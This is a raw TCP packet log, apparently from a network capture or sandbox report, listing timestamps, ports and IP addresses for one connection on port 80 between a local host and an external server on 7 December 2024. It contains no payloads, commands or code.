Dec 7, 2024 08:43:09.614553928 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.614598989 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.614664078 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.614707947 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.617475986 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.617520094 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.617599964 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.617649078 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.620383978 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.620429993 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.620479107 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.620524883 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.623305082 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.623353958 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.623429060 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.623476028 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.626214981 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.626260996 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.626270056 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.626313925 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.629174948 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.629223108 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.660597086 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.660612106 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.660674095 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.660691977 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.661726952 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.661768913 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.661900043 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.661940098 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.664256096 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.664307117 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.664336920 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.664376020 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.666774035 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.666829109 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.666861057 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.666899920 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.669188976 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.669236898 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.669307947 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.669347048 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.671591997 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.671636105 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.671679974 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.671720028 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.673954964 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.673993111 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.674066067 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.674104929 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.676347971 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.676465034 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.676505089 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.676533937 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.678769112 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.678828955 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.678956985 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.679003000 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.681144953 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.681190014 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.681245089 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.681288004 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.683558941 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.683602095 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.683644056 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.683702946 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.685930014 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.686079979 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.686104059 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.686125994 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.688340902 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.688396931 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.688426971 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.688473940 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.690728903 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.690742016 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.690810919 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.719038010 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.719120979 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.719120979 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.719177961 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.720170975 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.720278978 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.720614910 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.720678091 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.720736980 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.720777988 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.723018885 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.723108053 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.723138094 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.723212004 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.725429058 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.725541115 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.725574017 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.725666046 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.727806091 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.727869987 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.727901936 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.727940083 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.730215073 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.730283976 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.730376005 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.730438948 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.732611895 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.732666969 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.732695103 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.732731104 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.735021114 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.735074997 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.735131025 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.735176086 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.737397909 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.737448931 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.737502098 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.737545013 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.739813089 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.739867926 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.739893913 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.739936113 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.742214918 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.742260933 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.742317915 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.742357969 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.744544029 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.744595051 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.781419992 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.781512976 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.781532049 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.781563997 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.782375097 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.782432079 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.782830954 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.782877922 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.782942057 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.782984018 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.785118103 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.785187006 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.785240889 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.785281897 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.787425041 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.787470102 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.787492037 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.787534952 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.789618969 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.789664030 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.789731026 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.789771080 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.791831970 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.791883945 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.791946888 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.791994095 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.794053078 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.794106960 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.794116974 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.794157982 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.796256065 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.796314955 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.796375990 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.796416044 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.798547029 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.798599005 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.798674107 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.798741102 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.800693035 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.800750971 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.800779104 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.800821066 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.802910089 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.802958965 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.802999020 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.803052902 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.805107117 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.805145979 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.805283070 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.805324078 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.807360888 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.807409048 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.807441950 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.807482958 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.809541941 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.809611082 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.809636116 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.809683084 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.811726093 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.811772108 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.811825037 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.811866999 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.813925982 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.813982964 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.814052105 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.814095020 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.816132069 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.816180944 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.816261053 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.816303015 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.818335056 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.818380117 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.818435907 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.818475962 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.820569038 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.820641994 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.820662022 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.820720911 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.822773933 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.822822094 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.822876930 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.822916031 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.824980021 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.825026989 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.825100899 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.825139046 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.827208042 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.827260017 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.827339888 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.827375889 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.829406023 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.829452991 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.829509020 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.829549074 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.831645966 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.831703901 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.831738949 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.831779957 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.833833933 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.833899975 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.843985081 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.844086885 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.844094992 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.844141960 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.844779968 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.844819069 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.844907999 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.844945908 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.846347094 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.846381903 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.846445084 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.846483946 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.847944975 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.847980976 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.847985983 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.848016977 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.849503040 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.849536896 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.849617004 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.849652052 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.851089954 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.851152897 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.851217031 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.851254940 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.852663994 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.852718115 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.852749109 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.852790117 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.854212046 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.854249001 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.854315042 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.854348898 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.855782986 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.855823994 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.855900049 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.855936050 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.857340097 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.857382059 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.857454062 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.857494116 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.858907938 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.858947992 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.859010935 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.859050035 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.860522985 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.860562086 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.860635996 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.860671043 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.862047911 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.862081051 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.862159014 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.862195015 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.863605022 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.863670111 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.863698006 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.863737106 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.865175962 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.865223885 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.865344048 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.865384102 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.866745949 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.866786957 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.866879940 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.866914034 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.868295908 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.868334055 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.868407011 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.868443966 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.869868994 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.869910002 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.869944096 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.869982004 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.871424913 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.871463060 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.871546030 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.871586084 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.872988939 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.873024940 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.873054981 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.873100042 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.874526978 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.874574900 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.911325932 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.911408901 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.911422014 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.911480904 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.912123919 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.912163973 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.912273884 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.912308931 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.913660049 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.913700104 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.913701057 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.913732052 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.915191889 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.915226936 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.915322065 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.915354967 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.916758060 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.916795015 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.916898966 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.916934967 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.918312073 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.918351889 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.918456078 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.918494940 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.919914961 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.919961929 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.920051098 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.920094967 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.921422005 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.921459913 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.921561003 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.921598911 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.923012018 CET	80	49704	185.215.113.206	192.168.2.5
